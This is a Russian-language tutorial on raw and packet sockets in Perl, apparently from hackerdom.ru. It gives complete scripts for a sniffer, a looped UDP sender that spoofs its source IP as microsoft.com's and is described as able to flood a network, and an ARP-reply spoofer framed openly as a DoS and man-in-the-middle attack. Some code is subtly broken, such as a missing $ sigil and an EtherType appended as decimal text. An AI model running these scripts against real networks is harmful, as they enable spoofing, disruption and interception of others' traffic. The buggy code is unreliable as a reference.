Предыдущая статья Оглавление
Следующая статья

Raw & Packet Sockets in PERL

(for a programmer, a kernel hacker, or really really into security)

Автор: Art
banan4eg [ banan ] hackerdom.ru


  1. О статье
  2. Введение
  3. Что такое сокеты
  4. Отправка UDP пакета через raw socket
  5. Прием пакетов через packet socket
  6. Отправка пакетов через packet socket
  7. Заключение
  8. Литература
"Бывают люди, которым знание латыни не мешает все-таки быть ослами".
Мигель Сервантес де Сааведра

О статье

Данная статья попытается освятить проблему получения и отправки пакетов с использованием низкоуровневых сокетов (raw и packet) в языке программирования PERL. Предполагается, что читатель знаком с принципами работы сокетов в OS Linux и встречался с языками PERL и С. Конечно же, существуют различные модули, которые позволяют отправлять и получать пакеты с сетевого и канального уровней, но одни написаны на C (Net::RawIP), а другие используют PCAP (Net::RawIP, Net::Write, Net::Packet). В то время как PERL под операционной системой Linux способен все делать самостоятельно. Все, о чем говорится в этой статье, проверено на OS Debian с ядром 2.4.27 и ядром 2.6.18 и OS Mandrake с ядром 2.6.12. В качестве протокола сетевого уровня будет использоваться IP(4), а транспортным протоколом будет UDP(17). Для запуска предложенных примеров вам потребуются права root (для работы с низкоуровневыми сокетами приложение должно исполняться от имени пользователя с эффективным идентификатором UID=0 или иметь флаг CAP_NET_RAW). Подробнее о флаге CAP_NET_RAW можно посмотреть в man'ах (man(2) capget, man(2) capset, man(7) capabilities).


Введение

Однажды я наткнулся на довольно интересную статью. В ней рассказывалось об одном парне по имени Стив Гибсон, владельце GRC (Gibson Research Corporation). Сеть его компании подверглась DoS-атаке (хакер наводнил ее UDP-пакетами). И в этой статье часто встречалось понятие «низкоуровневых сокетов». Мне стало интересно, что же это такое. Очень способствовала этому интересу проблема, вставшая перед нашей командой. В связи с ответным матчем со сборной г.Челябинска нашей команде необходимо было написать снифер для мониторинга некоторых сетевых служб: POP3, FTP, telnet и др.. Писать для этих целей модуль к ядру или свой драйвер для сетевой карты – слишком сложно. Поэтому задача состояла в том, чтобы создать самодостаточную, т.е. не требующую установки дополнительных модулей, программу под операционную систему Linux. Решено было использовать для этих целей язык PERL. Ловить пакеты можно было, используя низкоуровневые сокеты. Вот тут-то я столкнулся с основной проблемой – в Internet очень мало информации по работе с raw и packet sockets в PERL'е. Встречается такая фраза: «Также существуют Raw socket, но о них как-нибудь в другой раз.» По правде говоря, этого «другого раза» я так и не нашел. Так и появилась данная статья.


Что такое сокеты

Начнем с самого понятия socket. Как говорит Linux Programmer's Manual, socket создает "конечную точку для коммуникации и возвращает дескриптор". Для его создания служит "C-шная" функция:

int socket (int domain, int type, int protocol);

Описание:
domain – определяет семейство используемых протоколов. Мы будем использовать либо AF_INET (его синоним – PF_INET), которое определяет семейство протоколов IPv4, либо PF_PACKET, определяющее низкоуровневый packet interface.

type – определяет тип протокола, используемый внутри семейства. Выделяют несколько типов:

protocol – используемый протокол.

Подробнее об этом можно почитать в man'ах (man (2) socket).

Теперь разберемся с тем, на каких уровнях модели OSI работают перечисленные типы протоколов. SOCK_STREAM и SOCK_DGRAM (наиболее часто используемые для них протоколы это соответственно TCP и UDP) находятся на транспортном уровне. SOCK_RAW опускается ниже и находится на сетевом уровне (будем использовать протокол IPPROTO_RAW). Ну и SOCK_PACKET'у предоставлен канальный уровень (протокол ETH_P_ALL).

Далее рассмотрим флаг IP_HDRINCL, который нам в дальнейшем будет нужен. С его помощью мы даем ядру OS знать, что наше приложение получает доступ к изменению некоторых полей заголовка IP (и всего, что выше), а именно:

Source AddressЕсли установлено в ноль, то заполняется нами, иначе - ядром OS.
Packet IdАналогично, если там ноль, то заполняем мы, иначе - ядро.
Total LengthЗаполняется в соответствии с реальным размером пакета ядром OS.

Если задан флаг IP_HDRINCL, и заголовок IP содержит ненулевой адрес получателя, тогда для маршрутизации пакета используется адрес получателя, заданный для сокета. За этот адрес отвечает структура sockaddr (include/linux/socket.h):

struct sockaddr {
	sa_family_t     sa_family;     /* address family, AF_xxx       */
	char            sa_data[14];   /* 14 bytes of protocol address */
};

Всякие sockaddr_in, sockaddr_ll, sockaddr_pkt – это cделано только для простоты работы с этим самым sockaddr. С производной sockaddr (а именно sockaddr_in) связана забавная вещь: если в этой структуре указать один IP-адрес, а в пакете в поле "Destination IP" другой, то пакет все равно уходит, причем на IP-адрес, указанный в самом пакете, а не на тот, что указан в sockaddr_in.

Но вернемся к флагу... Если мы хотим отправлять пакеты с транспортного уровня, но оставить за собой возможность редактирования заголовков сетевого, то нам необходимо установить эту опцию. Протокол IPPROTO_RAW тоже предполагает наличие флага IP_HDRINCL (устанавливается с помощью функции setsockopt()), но в моей версии Linux – по умолчанию IP_HDRINCL = 1 (файл net/ipv4/af_inet.c, функция inet_create()):

if (SOCK_RAW == sock->type) {
	inet->num = protocol;
	if (IPPROTO_RAW == protocol)
		inet->hdrincl = 1;
		...
Подробнее о флагах можно посмотреть в man (7) raw.

Отправка UDP пакета через raw socket

Для работы с сокетами используется модуль Socket.pm. Он экспортирует функции, описанные в header-файле socket.h (я нашел такой файл по адресу /usr/include/linux/socket.h). В PERL для создания сокета служит функция socket(). Ее главное отличие от аналогичной функции C состоит в передаче первым параметром дескриптора будущего сокета:

socket(SOCKET, DOMAIN, TYPE, PROTOCOL);
Для начала подключим необходимый модуль. Для этого напишем:
use Socket;
Так как мы хотим отправить UDP пакет при помощи raw socket (т.е. с сетевого уровня), нам нужно сказать, что мы будем использовать семейство протоколов PF_INET. В типе протокола нужно указать SOCK_RAW. Ну и соответственно, вместо параметра "protocol" передадим номер протокола IPPROTO_RAW – протокол, дающий доступ к любым протоколам IP.
Для получения номера протокола по его имени в PERL существует функция getprotobyname ($protocol). В итоге получим что-то наподобие этого:
socket(SOCKET, PF_INET, SOCK_RAW, getprotobyname(IPPROTO_RAW));
Сохраняем, запускаем. Тишина... Неужели получилось? Слишком быстро как-то. А все ли работает? Допишем к строчке открытия сокета просьбу сообщить нам, если что-то не так. Для подобных целей в PERL служит функция die().
socket(SOCKET, PF_INET, SOCK_RAW, getprotobyname(IPPROTO_RAW)) or die "Can't open raw socket: $!\n";
где $! – будет содержать информацию, почему же не получилось.
Запускаем и вдруг вылетаем с ошибкой:
Can't open raw socket: Socket type not supported
В чем же дело? Неужели PERL не умеет открывать raw sockets? Или он просто не знает какой-то константы? Проверим эту догадку. В ошибке говорится, что не поддерживается тип SOCK_RAW. Используя древнейший способ отладки программ, запишем:
print SOCK_RAW, "\n";
Программа вывела "3". Может PERL не знает значение константы IPPROTO_RAW? Пишем:
print IPPROTO_RAW, "\n";
Вылетаем с ошибкой:
No comma allowed after filehandle
Bingo!!! Видимо, PELR'у не известно значение этой константы. Как же быть? Попробуем указать PERL'у не символьное обозначение, а сам номер. Поискав немного, находим в файле /usr/include/linux/in.h строчку:
IPPROTO_RAW = 255 /* Raw IP packets*/
Подставляем вместо IPPROTO_RAW число 255:
socket(SOCKET, PF_INET, SOCK_RAW, 255) or die "Can't open raw socket: $!\n";
И все работает! Отлично. Теперь в начале файла для удобства дальнейшего использования можно определить константу IPPROTO_RAW
use constant IPPROTO_RAW => 255;
и писать:
socket(SOCKET, PF_INET, SOCK_RAW, IPPROTO_RAW) or die "Can't open raw socket: $!\n";

Когда сокет создан, можно наконец-то приступить к формированию UDP-пакета. Его мы будем инкапсулировать в IP-пакет. Для начала разберемся со структурой этих пакетов. Начнем с IP пакета (см. RFC 791):

	 		 0               1               2               3   
   	     		 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
		  	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		    	|Version|  IHL  |Type of Service|          Total Length         |
		    	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		    	|         Identification        |Flags|      Fragment Offset    |
		    	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		    	|  Time to Live |    Protocol   |         Header Checksum       |
		    	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		    	|                       Source Address                          |
		    	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		    	|                    Destination Address                        |
		    	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		    	|                    Options                    |    Padding    |
		    	+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Если бы мы писали на C, то для заполнения полей IP-заголовка мы бы создали структуру:
struct ipheader {
	unsigned char IP_HeaderLength:4, IP_Version:4;
	/*IP_HeaderLength - длина в 32-битных словах, IP_Version  - версия протокола IP (IPv4) */
	unsigned char IP_TypeOfService;		//чаще всего не используется (пишут 0)
	unsigned short int IP_Length;		//длина IP-датаграммы
	unsigned short int IP_Id;		//идентификатор
	unsigned short int IP_Offset;		//используется для фрагментированных датаграмм
	unsigned char IP_Ttl;			//время жизни (количество прыжков)
	unsigned char IP_Protocol;		//используемый транспортный протокол
	unsigned short int IP_CRC;		//контрольная сумма заголовка
	unsigned int IP_Source;			//IP-адрес источника
	unsigned int IP_Destination;		//IP-адрес назначения
};	//20 bytes
После этого нужно ее заполнить и отправить. Никаких проблем, кроме одной. Мы пишем на PERL'е. Структуры там создавать нельзя. Да и незачем. Ведь там есть функция pack(). Больше ничего не потребуется. Для начала обнулим переменную, содержащую будущий пакет:
$packet = undef; 
Затем начинаем заполнять поля. Так как поля "Version" и "IHL" – в одном байте, то и упаковывать их будем вместе. В поле Version запишем 4, длину же IP-заголовка установим в 20 байт (т.е содержать это поле будет значение 5). В итоге этот байт должен выглядеть как: 01000101 (или 69 в десятичном виде). На языке PERL это описывается следующим образом:
$packet .= pack("C", 69); 
где шаблон "C" – это однобайтовое целое без знака.

Далее у нас идет однобайтовое поле Type-of-Service. Там обычно пишут ноль. Не будем и мы отступать от этого правила:
$packet .= pack ("H2", '00'); 
где шаблон "H2" – шестнадцатеричная строка, в которой старшая тетрада идет первой.
Двухбайтовое поле "Total Length" мы заполним значением 28: 20 байт на IP-заголовок и 8 байт на заголовок UDP (данных не будет).
$packet .= pack ("n", 28); 
где шаблон "n" – двухбайтовое целое без знака, старший байт идет первым.
Не будем долго ломать голову над тем, что писать в двухбайтовом поле "Identification", а напишем там просто ноль (вообще – это неправильно, но ведь наша задача – просто отправить пакет).
$packet .= pack ("n", 0); 
Поля "Flags" и "Fragment offset" составляют вместе 2 байта (3 бита – "Flags", 13 – "Fragment offset"). Упакуем их вместе, указав флаг "DF" (Don't fragment) и значение "Fragment offset" установив в ноль:
$packet .= pack ("H4", '4000'); 
Однобайтовое поле "Time-to-live" установим в 64 hops (прыжка):
$packet .= pack ("C", 64);
В однобайтовое поле Protocol запишем номер протокола UDP:
$packet .= pack ("C", getprotobyname('udp')); 
Поле контрольной суммы заполнять не нужно (ядро посчитает ее за нас). Достаточно просто указать там ноль:
$packet .= pack ("n", 0); 
Далее нужно указать два IP-адреса: "Source" и "Destination". Для начала упакуем IP-адрес источника:
$source_ip = '127.0.0.1';
$result_source_ip = undef;
for (split('\.', $source_ip)){		#разбиваем по точкам
	$result_source_ip .= pack ("C", $_)
}
$packet .= $result_source_ip;

Аналогичную операцию производим с IP-адресом назначения:
$destination_ip = '192.168.139.1';
$result_destination_ip = undef;
for (split('\.', $destination_ip)){ 	#разбиваем по точкам
	$result_destination_ip .= pack ("C", $_)
}
$packet .= $result_destination_ip;

Заголовок IP готов! Теперь необходимо заполнить UDP заголовок (RFC 768). Его формат таков:
				   0       7 8     15 16    23 24     31  
				   +--------+--------+--------+--------+ 
				   |     Source      |   Destination   | 
				   |      Port       |      Port       | 
				   +--------+--------+--------+--------+ 
				   |                 |                 | 
				   |     Length      |    Checksum     | 
				   +--------+--------+--------+--------+ 
				   |                                   |
				   |          data octets              |
				   +-----------------------------------+
На С эта структура выглядела бы следующим образом:
struct udpheader {
	unsigned short int UDP_SourcePort;		//порт источника
	unsigned short int UDP_DestinationPort;		//порт назначения
	unsigned short int UDP_Length;			//длина заголовка UDP + данные
	unsigned short int UDP_CRC;			//контрольная сумма UDP (можно писать ноль)
};	//8 bytes
Заполняем двухбайтовые поля "Source Port" и "Destination Port":
$packet .= pack ("n", 25); #порт источника
$packet .= pack ("n", 80); #порт назначения 
Далее заполним длину UDP заголовка:
packet .= pack ("n", 8); 
Контрольную сумму UDP пакета можно не указывать (что мы и сделаем):
$packet .= pack ("H4", '0000'); 
Вот мы и получили UDP пакет, готовый к отправке. Самое время послать его в сеть. Для этих целей в PERL есть функция
send (socket, message, flags, destination?); 

Поле "destination" является необязательным. Оно используется, если локальный сокет не соединен с удаленным (это как раз наш случай). Необходимо явно указать упакованный адрес "destination". Для упаковки пользуются структурой sockaddr, но для удобства воспользуемся её производной sockaddr_in. Существенно облегчает нашу жизнь то, что функция, при помощи которой можно заполнить эту структуру, уже определена в модуле Socket.pm. Как это ни удивительно, но функция эта тоже носит название sockaddr_in. В параметрах ей передается порт и адрес назначения. Адрес назначения должен быть представлен в сетевом виде. Для этого воспользуемся функцией inet_aton ($param). В итоге получим:

$iaddr = inet_aton ('192.168.139.1');
$paddr = sockaddr_in (80, $iaddr); #80 – порт назначения 
Т.е. функция send будет выглядеть как-то так:
send(SOCKET, $packet, 0, $paddr) or die "Can't send packet: $!\n"; 
Вот мы и написали программу на raw sockets, способную наводнять сеть UDP пакетами. С ее помощью можно подменить IP-адрес источника. Можно запросто отправлять пакеты с IP-адреса 207.46.197.32 (microsoft.com), содержащие произвольные данные.
Текст программы

#!/usr/local/bin/perl

use Socket;
use constant IPPROTO_RAW => 255;

$iaddr = inet_aton ('192.168.139.1');
$paddr = sockaddr_in (80, $iaddr); #80 - порт назначения

socket(SOCKET, PF_INET, SOCK_RAW, IPPROTO_RAW) or die "Can't open raw socket: $!\n";

$packet = undef;
$packet .= pack("C", 69);
$packet .= pack ("H2", '00');
$packet .= pack ("n", 28);
$packet .= pack ("n", 0);
$packet .= pack ("H4", '4000');
$packet .= pack ("C", 64);
$packet .= pack ("C", getprotobyname('udp'));
$packet .= pack ("n", 0);

$source_ip = '207.46.197.32';
$result_source_ip = undef;
for (split('\.', $source_ip)){   #разбиваем по точкам
	$result_source_ip .= pack ("C", $_)
}
$packet .= $result_source_ip;

$destination_ip = '192.168.139.1';
$result_destination_ip = undef;
for (split('\.', $destination_ip)){   #разбиваем по точкам
	$result_destination_ip .= pack ("C", $_)
}
$packet .= $result_destination_ip;

$packet .= pack ("n", 25); #порт источника
$packet .= pack ("n", 80); #порт назначения
$packet .= pack ("n", 8);
$packet .= pack ("H4", '0000');

while(){
	send(SOCKET, $packet, 0, $paddr) or die "Can't send packet: $!\n";
	sleep 1;  #поспим некоторое время, чтобы не сильно DoS'ить сеть.
}

Прием пакетов через packet socket

Итак, работать с raw sockets мы более-менее научились. Теперь пришло время для самого интересного и захватывающего!!! Мы будем учиться работать с paсket sockets, которые используются для приема и передачи необработанных пакетов на канальном уровне, т.е. мы сможем сами собирать пакет со всеми заголовками, включая заголовки Ethernet. Никаких границ, полная свобода, творческий полет. Можно отправлять в сеть все, что хочется. Интригующе, не так ли? Но приступим к делу.

Для начала немного теории. Как гласит "Linux Programmer's Manual", packet sockets используются для получения или отправки «сырых» пакетов с канального уровня. Пакеты при этом передаются и принимаются от драйвера устройства без каких-либо изменений в данных. При передаче пакета полученный от пользователя буфер должен содержать заголовок канального уровня. Такой пакет передается без изменений драйверу сетевого интерфейса, указанного в поле адреса получателя. Далее – пакет уходит в сеть. Вроде бы звучит несложно. Посмотрим, как оно на самом деле. Для начала попробуем реализовать прием пакетов с сетевой карты.

Как и раньше, для начала подключим модуль Socket.pm:
use Socket; 
Далее необходимо открыть packet socket. Для этого служит уже знакомая вам функция socket(). Сначала скажем, что мы будем пользоваться семейством так называемых «пакетных» сокетов (семейство PF_PACKET). В качестве типа сокета может указываться значение SOCK_PACKET (необработанные пакеты, включающие заголовок канального уровня), SOCK_RAW (обработанные пакеты с удаленным заголовком канального уровня, но включающие заголовок сетевого) и SOCK_DGRAM (заголовок сетевого уровня удален). Мы хотим принимать пакеты со всеми заголовками, поэтому остановим свой выбор на SOCK_PACKET. Получим что-то наподобие этого:
socket(SOCKET, PF_PACKET, SOCK_PACKET, $protocol); 
Осталось только определиться с используемым протоколом. Нам хочется принимать абсолютно все пакеты, проходящие мимо нашей сетевой карты. Ищем в source-файлах что-нибудь подходящее. В файле /usr/include/linux/if_ether.h находим запись:
#define ETH_P_ALL 0x0003 /* Every packet (be careful!!!)*/ 
Отлично! Это как раз то, что нужно! Поэтому в поле protocol указываем значение ETH_P_ALL, которое соответствует всем протоколам Ethernet. В итоге рождается строчка:
socket (SOCKET, PF_PACKET, SOCK_PACKET, ETH_P_ALL) or die "Can't open packet socket: $!\n"; 
Как обычно, пробуем запуститься. О ужас!!! Наша программа вылетела с ошибкой:
Can't open packet socket: Address family not supported by protocol 
Очевидно, PERL опять не знает этих констант. Идем в /usr/include/linux/socket.h и находим строчку:
#define PF_PACKET AF_PACKET 
Я ожидал несколько другого. Вместо числового значения стоит еще одна константа. Что ж, посмотрим чему она равна. В том же заголовочном файле чуть раньше видим запись:
#define AF_PACKET 17 
Классно! Теперь вместо PF_PACKET пишем значение 17, а лучше – определим в начале программы константу PF_PACKET:
use constant PF_PACKET => 17; 
Осталось определить значение SOCK_PACKET. В /usr/include/asm/socket.h находим то, что нужно:
#define SOCK_PACKET 10 /*linux specific way of getting packets at the dev level*/ 
Снова дописываем в программу строчку:
use constant SOCK_PACKET => 10; 
И чтобы наша программа опять не вылетела, запишем в нее еще одну константу, которую мы уже находили – ETH_P_ALL:
use constant ETH_P_ALL => 0x0003; 
Наконец-то можно начинать читать данные из сокета. Для этого в PERL служит функция:
recv (socket, buffer, length, flags); 
В поле "length" пишем установленный MTU + 14 байт на Ethernet заголовок. Как правило, MTU = 1500, значит максимальный размер фрейма равен 1514, поэтому в поле "length" большее число указывать не нужно.
Все эти преобразования выливаются в следующий код:
Текст программы на языке PERL

#!/usr/bin/perl

use Socket;
use constant PF_PACKET => 17;
use constant SOCK_PACKET => 10;
use constant ETH_P_ALL => 0x0003;

socket (SOCKET, PF_PACKET, SOCK_PACKET, ETH_P_ALL) or die "Can't open packet socket: $!\n";
while (){
	recv (SOCKET, $buf, 1514, 0);  		#читаем пакет
	print unpack ("H*", $buf), "\n\n"; 	#и выводим его в hex
}

Ради сравнения посмотрим на аналогичный код на C:
Текст программы на языке C
#include <linux/socket.h>
#include <asm/socket.h>
#include <linux/if_ether.h>

int sock = socket (PF_PACKET, SOCK_PACKET, ETH_P_ALL);
char buffer[1514]; 	//размер кадра Ethernet
while (read (sock, buffer, 1514) > 0)
	printf ("I catch packet\n");


Отправка пакетов через packet socket

Теперь у нас есть программа, способная захватывать Ethernet-кадры. Но мы еще не умеем отправлять их, мы пока не обладаем тем могуществом, которым обладают люди, умеющие отправлять в сеть произвольные пакеты. Так давайте научимся этому.

Подопытным протоколом пусть будет протокол ARP – Address Resolution Protocol (RFC 826). Этот протокол занимается разрешением IP-адреса в MAC-адрес в сети Ethernet.

		    0               1               2               3   
		    0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		   |	       Hardware type       |          Protocol type        |
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		   | Hardware size | Protocol size |	     Operation code	   |
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		   |			       Sender MAC Address		   |
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		   |       Sender MAC Address      |	  Sender IP Address        |
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		   |       Sender IP Address  	   |	 Target MAC Address        |
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		   |                           Target MAC Address	           |
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		   |                           Target IP Address	           |
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

С этим протоколом связана известная атака, носящая название ARP-spoofing. Эта атака может использоваться для DoS'а ("отказ в обслуживании"): атакующий отправляет хосту поддельный ответ ARP, в результате IP-адресу маршрутизатора подсети ставится в соответствие несуществующий МАС-адрес. Доверившись этой информации, хост оказывается изолированным. Те кадры, которые он после этого отправляет в другой сегмент, не могут его покинуть. Второе назначение этой атаки – Man-in-the-middle (MITM).

Попробуем проделать что-то подобное. Наша задача заключается в отправке ответа ARP с произвольными MAC и IP-адресами. Приступим к ее реализации.

Как обычно, подключаем модуль Socket.pm:
use Socket; 
Из прошлой программы скопируем константы, которых PERL не знает:
use constant PF_PACKET => 17;
use constant SOCK_PACKET => 10;
use constant ETH_P_ALL => 0x0003;
К ним добавим еще одну – номер протокола ARP:
use constant ARP => 0x0806; 
После этого можно смело вызывать функцию создания сокета:
socket (SOCKET, PF_PACKET, SOCK_PACKET, ETH_P_ALL) or die "Can't open packet socket: $!\n"; 
Теперь нам снова надо собирать пакет. Для начала заполним заголовок Ethernet:

		    0               1               2               3   
		    0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		   |                           Target MAC Address	           |
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		   |       Target MAC Address      |	   Sender MAC Address      |
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		   |			       Sender MAC Address		   |
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
		   |              Type             |
		   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Обнулим переменную, содержащую будущий пакет
$packet = undef; 
Далее необходимо записать MAC-адрес получателя. Предположим, что MAC-адрес получателя 00:01:02:03:04:05
@split = split (':', '00:01:02:03:04:05');
$packet .= pack ('H*', join ('',@split)); 
где функция split () разбивает строку на массив по заданному шаблону, а функция join () объединяет этот массив в строку. Далее идет уже известная вам упаковка по шаблону 'H*'. Аналогичные операции проведем с MAC-адресом отправителя. Скажем, что мы отправляем с адреса 06:05:04:03:02:01
@split = split (':', '06:05:04:03:02:01');
$packet .= pack ('H*', join ('',@split)); 
Чтобы заголовок Ethernet был окончательно заполнен, не хватает только типа используемого протокола. Так давайте укажем его! Пишем:
$packet .= ARP; 
где константа ARP содержит двухбайтовый номер протокола ARP. Эту константу мы определили раньше.Переходим к заполнению ARP пакета. В типе оборудования напишем 0x0001 (используем ARPHRD_ETHER – Ethernet 10/100Mbps). И положим это в пакет:
$packet .= pack ("H4", '0001'); 
В типе протокола напишем номер протокола IP (0x0800).
$packet .= pack ("H4", '0800'); 
Так как нам необходимо получить MAC-адрес, то в поле "Hardware size" укажем 6 байт:
$packet .= pack ("C", 6); 
А в поле "Protocol size" пишем 4 байта (ведь мы используем IPv4).
$packet .= pack ("C", 4); 
Так как мы хотим провести DoS атаку, то нам необходимо будет отправлять reply ARP-пакеты. Поэтому пишем:
$packet .= pack ("H4", '0002'); 
В заключение, указываем MAC- и IP-адреса источника и приемника:
@split = split (':', '06:05:04:03:02:01');
$packet .= pack ('H*', join ('',@split));
$source_ip = '10.0.0.254';
$result_source_ip = undef;

for (split('\.', $source_ip)){ 		#разбиваем по точкам
	$result_source_ip .= pack ("C", $_)
}

$packet .= $result_source_ip;

@split = split (':', '00:01:02:03:04:05');
$packet .= pack ('H*', join ('',@split));
$destination_ip = '10.0.0.11';
$result_destination_ip = undef;

for (split('\.', $destination_ip)){ 	#разбиваем по точкам
	$result_destination_ip .= pack ("C", $_)
}

$packet .= $result_destination_ip;
И пакет готов. Можно попробовать его отправить, но неожиданно возникает проблема: в man'е к пакетным сокетам написано, что сам сокет описывает структура sockaddr_ll:
struct sockaddr_ll{
    unsigned short sll_family;  //семейство протоколов
    unsigned short sll_protocol;//используемый протокол (будем использовать ETH_P_IP - 0800)
    int sll_ifindex; 	     	//индекс сетевого устройства
    unsigned short sll_hatype;  //идентификатор оборудования (Ethernet). Например, ARPHRD_ETHER.
    unsigned char sll_pkttype;  //тип пакета. Например, PACKET_OTHERHOST - назначение - другой хост
    unsigned char sll_halen; 	//длина адреса (ETH_ALEN - MAC-адрес Ethernet)
    unsigned char sll_addr[8]; 	//MAC-адрес
};

Если с помощью pack () заполнить ее и написать в send, программа вылетает с ошибкой. Лезем опять в man и читаем внимательнее. Оказывается, структура sockaddr_ll описывает SOCK_RAW пакеты, а SOCK_RAW "похожи, но не совместимы с SOCK_PACKET в Linux 2.0". А если попробовать описать пакетный сокет с помощью структуры sockaddr? Мы ее уже писали, выглядит она так:
struct sockaddr {
	sa_family_t     sa_family;     	//семейство протоколов
	char            sa_data[14];   	//14 байтов на описание этого семейства...
};

Пробуем:
$addr = PF_PACKET; #семейство
$iface = "eth0"; #используемое устройство
$socket = pack ('Sa14', $addr, $iface); #упаковываем все это в структуру
send(SOCKET, $packet, 0, $socket) or die "Can't send packet:$!\n"; 
и все работает!!!
Текст программы
#!/usr/bin/perl

use Socket;
use constant PF_PACKET => 17;
use constant SOCK_PACKET => 10;
use constant ETH_P_ALL => 0x0003;
use constant ARP => 0x0806;

socket (SOCKET, PF_PACKET, SOCK_PACKET, ETH_P_ALL) or die "Can't open packet socket: $!\n";

$addr = PF_PACKET;
$iface = "eth0";
$socket = pack("Sa14", $addr, $iface);

$packet = undef;

@split = split (':', '00:01:02:03:04:05');
$packet .= pack ("H*", join ('',@split));
$#split = -1;

@split = split (':', '06:05:04:03:02:01');
$packet .= pack ("H*", join ('',@split));
$#split = -1;

$packet .= ARP;
$packet .= pack ("H4", '0001');
$packet .= pack ("H4", '0800');
$packet .= pack ("C", 6);
$packet .= pack ("C", 4);
$packet .= pack ("H4", '0002');

@split = split (':', '06:05:04:03:02:01');
$packet .= pack ("H*", join ('',@split));

$source_ip = '10.0.0.254';
$result_source_ip = undef;
for (split('\.', $source_ip)){   	#разбиваем по точкам
	$result_source_ip .= pack ("C", $_)
}

$packet .= $result_source_ip;

@split = split (':', '00:01:02:03:04:05');
$packet .= pack ("H*", join ('',@split));

$destination_ip = '10.0.0.11';
$result_destination_ip = undef;
for (split('\.', $destination_ip)){   	#разбиваем по точкам
	$result_destination_ip .= pack ("C", $_)
}

$packet .= $result_destination_ip;

while( 1 ){
	send (SOCKET, $packet, 0, $socket) or die "Can't send packet:$!\n";
	sleep (1);
}

Теперь при помощи этой программы можно с легкостью подделывать чужие IP и MAC-адреса.

Заключение

Итак, мы научились работать с raw и packet sockets на языке PERL. И хотя PERL – скриптовый язык, сокеты в нем – достаточно мощное оружие. Но, к сожалению, для работы с низкоуровневыми сокетами он не очень активно используется. Возможно, дело в отсутствии документации и удобных модулей для работы с ними.


  1. Linux Kernel Source
  2. Linux Programmer's Manual
  3. RFC (Request for Comments).
  4. Ю.С. Лукач "Справочник Веб-разработчика".
  5. http://wikipedia.org
Предыдущая статья Оглавление
Следующая статья